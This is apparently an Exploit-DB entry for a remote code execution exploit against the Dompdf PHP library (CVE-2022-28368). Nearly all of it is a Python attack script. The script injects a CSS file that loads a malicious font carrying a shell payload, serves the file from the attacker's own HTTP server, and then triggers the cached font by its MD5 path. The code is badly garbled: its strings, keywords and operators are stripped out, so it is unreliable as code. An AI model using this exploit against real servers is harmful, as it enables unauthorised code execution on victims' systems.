标题: Dompdf 1.2.1 - Remote Code Execution (RCE) EDB-ID: 51270 CVE: 2022-28368 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-06 漏洞利用脚本: #!/usr/bin/python3

# Exploit Title: Dompdf 1.2.1 - Remote Code Execution (RCE)
# Date: 16 February 2023
# Exploit Author: Ravindu Wickramasinghe (@rvizx9)
# Vendor Homepage: https://dompdf.github.io/
# Software Link: https://github.com/dompdf/dompdf
# Version: <1.2.1
# Tested on: Kali linux
# CVE : CVE-2022-28368
# Github Link   : https://github.com/rvizx/CVE-2022-28368
  
import subprocess
import re
 os
 sys
 curses
 requests
 base64
 argparse
 urllibparse 
 urllibparse  urlparse

 
    

exploit_font  b

 
    output  subprocesscheck_outputdecode
    ip_pattern  r
    ip_addresses  refindallip_pattern output
    ip_addresses  ip  ip  ip_addresses   ipstartswith
    ip_addresses  ip_addresses
    ip_addressesinsert 
     ip_addresses

 stdscr ip_addresses
    cursescurs_set
    cursesnoecho
    stdscrkeypad
    current_row  
    num_rows  ip_addresses
    stdscraddstr
     
        stdscrclear
        stdscraddstr
         i ip_address  ip_addresses
             i  current_row
                stdscraddstrip_address cursesA_REVERSE
            
                stdscraddstrip_address
            stdscraddstr
        key  stdscrgetch
         key  cursesKEY_UP  current_row  
            current_row  
         key  cursesKEY_DOWN  current_row  num_rows  
            current_row  
         key  cursesKEY_ENTER  key   
             ip_addressescurrent_row

 
    

    sysexit

 url
    regex  re
        r 
        r
        r  
        r
        r
        r reIGNORECASE
      rematchregex url
        f
         
    
         


 url
    query_start  urlrfind
     query_start  
        query_start  urlrfind
     query_start  
         
    query_string  urlquery_start

     param  query_stringsplit
           param
            name  paramsplit
             name
                 name
     


 __name__  
    banner
    ports   
     port  ports
        
            processes  subprocesscheck_output  decode
             line  processessplit
                   line
                    pid  linesplit
                    port  linesplitsplit
                     port    port  
                        ossystempid
            f        
        
            

     sysargv  
        
        sysexit

     sysargv    sysargv  
        

     sysargv  
        parser  argparseArgumentParserdescriptionadd_help usage
        parseradd_argument   required
        parseradd_argument   required
        args  parserparse_args
        injectpoint  argsinject
        dompdf_url  argsdompdf

          check_urlinjectpoint   check_urldompdf_url
            sysexit   

        paramfinal_paraminjectpoint
         param  
            
            sysexit

        ip_addresses  get_ip_addresses
        sip  curseswrapperchoose_ip_address ip_addresses
        f
        
        shell  sip
         shell
        
                
        decoded_data  base64b64decodeexploit_fontdecode
        decoded_data    shell
        css  sip
           f
                    fwritecss
           f
            fwritedecoded_data
        
        http_server  subprocessPopen   
        url  sip
        echo_output  subprocesscheck_output  urlencode
        md5sum_output  subprocesscheck_output echo_output
        md5_hash  md5sum_outputsplitdecode
        md5_hash
        md5_hash
        
        
        url  injectpoint
         urlendswith
            url  url

        headers  
                 urlparseinjectpointhostname
                 
                 
                 
                 
                 
                 
        

        payloadsip
        data  parampayload            
        
            response1  requestsgeturlurllibparsequotepayloadheadersheaders
            response2  requestsposturl headersheaders datadata verify
        
            
            sysexit

         response1status_code    response2status_code  
            url
        
            urlresponse1status_coderesponse2status_code

        
        http_serverterminate

        
        
        
        
        
         headers        
        url  dompdf_url
         urlendswith
            url  url

        urlmd5_hash        
        response  requestsget
            url
            headersheaders
            verify  
         
         responsestatus_code  
            urlresponsestatus_code
        
            urlresponsestatus_code URL: https://www.exploit-db.com/exploits/51270